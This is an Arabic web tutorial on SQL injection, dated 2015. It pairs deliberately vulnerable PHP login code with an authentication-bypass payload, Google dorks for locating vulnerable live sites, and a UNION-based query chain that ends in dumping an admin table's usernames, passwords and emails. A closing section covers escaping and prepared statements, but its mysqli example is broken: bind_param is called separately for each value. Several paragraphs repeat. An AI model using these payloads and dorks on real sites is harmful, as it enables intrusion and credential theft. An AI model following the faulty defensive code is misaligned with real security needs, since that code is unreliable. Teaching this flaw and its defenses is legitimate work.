ثغرة حقن قاعدة البيانات : Sql Injection
بتاريخ: 18-08-2015
حقنة SQL أو SQL injection : هي طريقة لاستغلال ثغرة محتملة في
جميع التطبيقات التي تتعامل مع قاعدة البيانات . من ضمن هذه التطبيقات نجد
مواقع الويب . إذ يمكن للمهاجم التعامل مباشرة مع قاعدة البيانات و إجراء
استعلامات غير متوقعة من طرف المبرمج ، كالولوج و سرقة البيانات ، و إدخال
بيانات جديدة أو تعديل البيانات السابقة أو حذفها .
العثور على هذه الثغرة في تطبيقة ما و استغلالها . أمر لا يحتاج إلا لمعارف متواضعة . كطرق إجراء الإستعلام و التعامل مع قاعدة البيانات .
سبب وجود هذه الثغرة يعود إلى عدم حماية البيانات أثناء التعامل مع القاعدة . إما عن غير قصد ، و غالبا عن الجهل الذي يخيم على "المبرمج" . فلا غرابة أن نجد هذه الثغرة في الكثير و الكثير من المواقع . رغم أنها من أقدم الثغرات ، و طرق حمايتها لا يتطلب جهدا و خاصة أثناء إنجاز المشروع
تعتبر هذه الثغرة الأكثر خطورة حسب ترتيب OWASP، نظرا لتمكن المهاجم من استغلال قاعدة البيانات .
سنتعرف عن طرق إيجاد المواقع المصابة بهذه الثغرة ، و طرق استغلالها و الحماية منها .
Error SQL !
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ''...
يمكننا إستغلا الثغرة إما عبر الإستمارة أو عنوان الويب . سندرس مثالا لكل حالة .
:
العثور على هذه الثغرة في تطبيقة ما و استغلالها . أمر لا يحتاج إلا لمعارف متواضعة . كطرق إجراء الإستعلام و التعامل مع قاعدة البيانات .
سبب وجود هذه الثغرة يعود إلى عدم حماية البيانات أثناء التعامل مع القاعدة . إما عن غير قصد ، و غالبا عن الجهل الذي يخيم على "المبرمج" . فلا غرابة أن نجد هذه الثغرة في الكثير و الكثير من المواقع . رغم أنها من أقدم الثغرات ، و طرق حمايتها لا يتطلب جهدا و خاصة أثناء إنجاز المشروع
تعتبر هذه الثغرة الأكثر خطورة حسب ترتيب OWASP، نظرا لتمكن المهاجم من استغلال قاعدة البيانات .
سنتعرف عن طرق إيجاد المواقع المصابة بهذه الثغرة ، و طرق استغلالها و الحماية منها .
هل موقعي مصاب ؟
إذا كنت تستعمل الطرق القديمة للإستعلام باستعمال Mysql أو Mysqli فهناك احتمال بأن يكون موقعك مصاب إن لم تحم جميع استعلاماتك الموجهة لقاعدة البيانات بطريقة صحيحة . أمّا إن كنت تستعمل MySQLi أو PDO مع تهييء الإستعلام ، غالبا موقعك محمي من هذه الثغرة .معرفة المواقع المصابة
لمعرفة المواقع المصابة ، نستعمل مجرد علامة الإقتباس السحرية ( ' ) لإجراء إحدى الإختبارين :- إما إضافة علامة الإقتباس لعناوين الويب على هذا الشكل :
http://example.kom/article.php?id=25' - أو إضافتها لحقل من حقول الإستمارات :
Error SQL !
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ''...
يمكننا إستغلا الثغرة إما عبر الإستمارة أو عنوان الويب . سندرس مثالا لكل حالة .
مثال استغلال ثغرة SQL عبر الإستمارة
لنأخذ على سبيل المثال الشيفرة أسفله ، و التي تضم استمارة الدخول و تقوم أيضا بمعالجتها .:
<?php
$db = mysql_connect('localhost', 'root', '');
mysql_select_db("injection");
if(isset($_POST['submit'])) {
$nom = $_POST['name'];
$pass = $_POST['pass'];
$sql = "SELECT name, pass
FROM users
WHERE name = '$nom'
AND pass = '$pass'";
$req = mysql_query($sql) or die('Error SQL !<br>'.$sql.'<br>'.mysql_error());
while($data = mysql_fetch_array($req))
{
echo 'Hello : name = <b>'.$data['name'].'</b> ; password = <b>'.$data['pass'].'</b><br>';
}
mysql_close($db);
}
else
{
?>
<form action="" method="POST">
<p>Username: <input type="text" name="name" /></p>
<p>Password: <input type="password" name="pass" /></p>
<p><input type="submit" name="submit" value="تسجيل الدخول" /></p>
</form>
<?php
}
لاستغلال الثغرة ، في مثالنا سنحاول تسجيل دخولنا بدون إسم صحيح أو كلمة مرور :
في الحقل الأول للإستمارة أدخل أي إسم مثلا "admin" . و في حقل كلمة المرور ، أدخل الشيفرة التالية :
' or '1'='1
سنتمكن بكل تأكيد من ربط الإتصال رغم أن بياناتنا ليست صحيحة . رغم أن الإستعلام في السكريبت واضح و منطقي ، فهو يأمر قاعدة البيانات لاختيار البيانات فقط إذا كان الإسم و كلمة المرور التي أرسلها العضو مطابقة تماما للموجودة في القاعدة .
ما الذي حدث بالضبط عندما أضفنا الشيفرة (' or '1'='1) في حقل كلمة المرور ؟
لقد تحايلنا على التعليمة WHERE الموجودة في الإستعلام السابق . بإضافة الشيفرة العجيبة نكون قد قدّمنا إستعلاما كالتالي .
$sql = "SELECT name, pass
FROM users
WHERE name = 'admin'
AND pass = ''
OR '1'='1'
"
بهذا أصبح استعلام طلب الدّخول دائما صحيحا فهو يعني : اختيار البيانات إذا كان الإسم هو admin (و) كلمة المرور فارغة (أو) 1=1
1=1 شرط صحيح للأبد .
هذا المثال البسيط يلخص دور علامة الاقتباس البسيطة في تغيير مجرى الإستعلام كليا ليشكل خطرا جسيما على كل الموقع .
بعد فهم دور علامة الإقتباس السحرية في إتاحة تمديد الإستعلام الأصلي ، نتقل الآن لرؤية حالة متقدمة من الإستغلال عبر عنوان الويب .
إستغلال ثغرة SQL عبر عنوان الويب
أسهل الطرق المستعملة من قبل المهاجم لإيجاد ثغرة حقنة sql في المواقع المصابة ، هي استعمال دوركات google . أعطيكم بعض الأمثلة لهذه الدوركات :inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
لن أسرد كل هذه الدوركات فهي كثيرة ، للحصول على اللائحة كاملة ، ما عليكم سوى البحث عنها في محرك البحث google بإستعمال كلمات بحث شبيهة بهذه "sql injection dorks" .
تذكير : هذا الدرس تربوي ، يروم لفهم الثغرة جيدا و كيف يمكن للمهاجم استغلالها . و من ثم سرد الطرق الناجعة لحمايتها .
لهذا أنصحكم إذا رغبتم في تجربة الثغرة من الأجدى فعل ذلك على خادومكم المحلي . لأن الناس لا يحبذون أن تعبثوا بمواقعهم . وهناك قوانين صارمة في هذا المجال حسب بلدكم .
http://example.kom/article.php?id=25'
بإضافة علامة ' إذا لم يطرأ أي تغيير على الصفحة المعنية ، هذا يعني أن الموقع ليس مصابا . أما إذا حصل على خطأ SQL شبيه بهذا :
Error SQL !
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near...
يعني أن الموقع مصاب بالثغرة و يمكن للمهاجم استغلالها . ليس بالضرورة أن يحصل على نفس الخطأ أعلى . أيّ خطأ ينجم عن sql ينم عن وجود الثغرة
(في بعض الحالات يطرء تغيير على الصفحة لكن دون عرض أي خطأ و هذا ينجم عن وجود الثغرة لكنها ليست ظاهرة و تسمى في هذه الحالة :
BLIND SQL INJECTION . طرق استغلالها تختلف عن التي سنراها أسفله .)
بعد إيجاد الثغرة ، ننتقل لمعرفة كيفية استغلالها .
لاستغلال الثغرة يتبع المهاجم استراتيجية تضم مجموعة من الخطوات : تبدأ بمعرفة عدد الأعمدة الموجودة في القاعدة ثم الجداول التي تتضمن الثغرة و كذلك معرفة إسم مستخدم القاعدة و رقم الإصدار . بعدها يقوم بعرض أسماء الجداول و محتوياتها . كل هذه العمليات يتم تنفيذها مباشرة في عنوان الويب "URL" للموقع المصاب ، أي أن استغلال قاعدة البيانات و إجراء الإستعلامات تُنفذ مباشرة من شريط عناوين المتصفح .
معرفة عدد أعمدة قاعدة البيانات
لمعرفة عدد أعمدة قاعدة البيانات يستعمل التعليمة "Order By" كالتالي :
http://exampleSite.com/article.php?id=25 order by 1--
يبدء بواحد ، و يقوم في كل مرة برفع هذه القيمة
http://exampleSite.com/article.php?id=25 order by 2--
إذا تم عرض الصفحة بطريقة عادية ، يقوم برفع هذا العدد حتى يحصل على خطأ . لنفترض أنه وصل إلى 8 ثم حصل على خطأ :http://exampleSite.com/article.php?id=25 order by 8--
إذا حصل على خطأ شبيه بهذا
Database error: Unknown column '8' in 'order clause'
هذا يعني أن العمود رقم 8 غير موجود في القاعدة ، بهذا يكون قد حدد عدد الأعمدة و هو 7 في مثالنا .
ملاحظة : بالنسبة لعلامتي "--" فهي عبارة عن علامتي الملاحظات يمكننا أيضا استبدالهما بعلامتي /* ، فهي تلغي كل ما يأتي بعدها و تعتبره ملاحظات .
بعد معرفة عدد الأعمدة ، ينتقل لمعرفة الأعمدة التي تتضمن الثغرة
معرفة الأعمدة التي تتضمن الثغرة
لمعرفة الأعمدة التي تتضمن الثغرة ، يلجأ للتعليمة "UNNION ALL SELECT"
article.php?id=25 union all select 1,2,3,4,5,6,7--
بعد
تنفيذ هذا الإستعلام ، يبحث جيدا في الصفحة عن أي رقم قد يظهر فجأة في
مكان ما . يمكن أن يكون رقما واحدا أي أنه وجد عمودا واحدا فقط يتضمن
الثغرة ، أو قد يحصل على مجموعة من الأعمدة . لنفترض أن رقمي 4 و 6 ظهرا
على الصفحة . يمكنه استغلال أي عمود منهما لإجراء باقي الإستعلامات .ملاحظة : إذا لم يحصل على أي رقم ، يضيف فقط علامة ناقص "-" بعد علامة تساوي ، و سيتم حل المشكلة :
id=-25 union all select 1,2,3,4,5,6,7--
معرفة إسم المستخدم و رقم إصدار SQL
لمعرفة رقم الإصدار "version" أو إسم مستخدم قاعدة البيانات "user" . يعتمد على إجراء الإستعلام في أحد الأعمدة التي تتضمن الثغرة ، مثلا في العمود رقم 4 في مثالنا أو 6 :لمعرفة إسم المستخدم يستعمل إما user() أو @@user()
لمعرفة رقم الإصدار يستعمل version() أو @@version()
article.php?id=-25 union all select 1,2,3,version(),5,6,7--
سيحصل مثلا على رقم إصدار شبيه بهذا : 5.5.35إذا كان رقم الإصدار 4 أو أقل سيحتاج إلى تخمين أسماء الأعمدة و الجداول عبر تقنية "brute force" ، توجد برانم تُستعمل لذلك
أما إذا كان الإصدار 5 أو أكبر (كما هو الحال على أغلب الخوادم حاليا) كما في مثالنا يمكنه متابعة استعمال تقنيات الإختراق الموالية .
عرض جميع أسماء الجداول دفعة واحدة
لعرض جميع أسماء الجداول الموجودة في القاعدة :
article.php?id=-25
union all select 1,2,3,group_concat(table_name),5,6,7 from
information_schema.tables where table_schema=database()--
عرض جميع أسماء أعمدة الجداول دفعة واحدة
لمعرفة أسماء جميع أعمدة الجداول في القاعدة :
article.php?id=-25
union all select 1,2,3,group_concat(column_name),5,6,7 from
information_schema.columns where table_schema=database()--
عرض أسماء الجداول ، جدولا تلو الآخر
لعرض جدول واحد فقط كل مرة ، يستعمل التعليمة LIMIT ، مثلا لعرض إسم الجدول الأول :
article.php?id=-25
union select 1,2,3,table_name,5,6,7 TABLE_NAME FROM
information_schema.TABLES WHERE TABLE_SCHEMA = database() LIMIT 0,1--
إستعملت "UNION SELECT" بدل "UNION ALL SELECT" و "table_name" بدل group_concat(table_name) لعرض جدول واحدا فقط . لعرض أكثر من جدول يتم استعمال الطرق الأولى . لعرض إسم الجدول الثاني ، يقوم بتغيير القيمة الأولى ل LIMIT : LIMIT 1,1-- و هكذا دواليك
عرض أسماء الأعمدة لجدول واحد فقط
لنفترض أنه وجد جدولا إسمه "admin" و أراد عرض جميع الأعمدة التي يحتوي عليها :
id=-25 union all select 1,2,3,group_concat(column_name),5,6,7 FROM information_schema.columns WHERE table_name = admin--
في أغلب الحالات بدل الحصول على أسماء الأعمدة سيحصل على خطأ شبيه بهذا :Database error: Unknown column 'admin' in 'where clause'
لتفادي هذا الخطأ و عرض أسماء الأعمدة يجب تحويل إسم الجدول إلى صيغة MySql CHAR() . يوجد برنام يقوم بهذا الدور ، و هو عبارة عن إضافة "addon" موزيلا فايرفوكس تجدونها باتباع الرابط التالي : hackbar
بعد تنصيبها سيتطلب منكم إغلاق متصفح mozilla firefox و إعادة فتحه . لاستعمال الإضافة الجديدة :
1 - أنقر على F9
2 - ستحصل على الخدمات التي تقدمها هذه الإضافة ، أنقر على : "SQL"
3 - ثم اختر : "MySQL" ثم MySql CHAR()
4 - ستظهر لديك نافذة جديدة ، أدخل فيها إسم الجدول الذي ترغب تحويله ، في مثالنا إسمه "admin" بعد النقر على الموافقة ستحصل على الإسم الجديد على شكل أرقام كالتالي : CHAR(97, 100, 109, 105, 110) .
هذا الإسم هو الذي سيتم استعماله في الإستعلام لتجاوز مشكلة ترميز قاعدة البيانات :
id=-25 union all select 1,2,3,group_concat(column_name),5,6,7 FROM information_schema.columns WHERE table_name = CHAR(97, 100, 109, 105, 110)--
إستخلاص محتوى الأعمدة
لنفترض أنه وجد هذه الأعمدة في جدول "admin" :id, username, password, email
لقد وصل إلى أهم مرحلة و هي استخلاص جميع بيانات الجدول ، للحصول على محتوى الأعمدة سيقوم بعرضها على المتصفح باستعمال الإستعلام التالي :
id=-25 union all select 1,2,3,group_concat(username,0x3a,password,0x3a,email),6,7 from admin--
سنكتفي
بهذا القدر . إعلموا أنه يمكن أيضا (في بعض الحالات) إستعمال التعليمات
DELETE و UPDATE و DROP لحذف أو تعديل البيانات أو إفراغ جدول ما . ننتقل لجوهر هذا الموضوع و معرفة كيفية حماية الموقع من ثغرة حقنة SQL .
حماية ثغرة SQL Injection
لمستخدمي mysql
لمستخدمي SQL بالطريقة القديمة كما رأينا في هذا الدّرس . يجب إضافة الدالة mysql_real_escape_string() لجميع البيانات أثناء التعامل مع القاعدة ، مثال :$nom = mysql_real_escape_string($_POST['name']);
$pass = mysql_real_escape_string($_POST['pass']);
ملحوظة !!! منذ إصدار PHP 5.5.0 لم يعد مُحبّذا استعمال mysql_real_escape_string و mysql .
لهذا يجب التفكير جدّيا للإنتقال إلى استعمال MySQLi أو PDO .
لهذا يجب التفكير جدّيا للإنتقال إلى استعمال MySQLi أو PDO .
لمستخدمي PDO
لمستخدمي PDO أنتم محميون من هذه الثغرة ، إذا كنتم تهيئون الإستعلام أثناء التعامل مع قاعدة البيانات .<?php
try
{
$db = new PDO('mysql:host=localhost;dbname=test;charset=utf8', 'root', '');
}
catch(PDOException $e)
{
die('خطأ : '. $e->getMessage());
}
$nom= $_POST['name'];
$pass = $_POST['pass'];
$response= $db->prepare('SELECT * FROM users
WHERE name = :pseudo AND pass = :pa
');
$response->bindValue(':pseudo',$nom,PDO::PARAM_STR);
$response->bindValue(':pa',$pass,PDO::PARAM_STR);
$response->execute();
$member = $response->Fetch();
$response->CloseCursor();
//...
لمستخدمي mysqli بدون تهيئ الإستعلام
إستعمل التعليمة mysqli::escape_string<?php
//...
$nom= mysqli->real_escape_string($_POST['name']);
$pass= mysqli->real_escape_string($_POST['pass']);
لمستخدمي MysQli مع تهييء الإستعلام
أنتم محميون من الثغرة<?php
$db= new mysqli($localhost, $user, $password, $db_name);
if (mysqli_connect_errno()) {
printf("خطأ : %s\n", mysqli_connect_error());
exit();
}
$nom= $_POST['name'];
$pass = $_POST['pass'];
$stmt = $db->prepare('SELECT * FROM users WHERE name = ? AND pass = ?');
$stmt->bind_param('s', $nom);
$stmt->bind_param('s', $pass);
$stmt->execute();
$result = $stmt->get_result();
while($row = $result->fetch_assoc()) {
// ...
}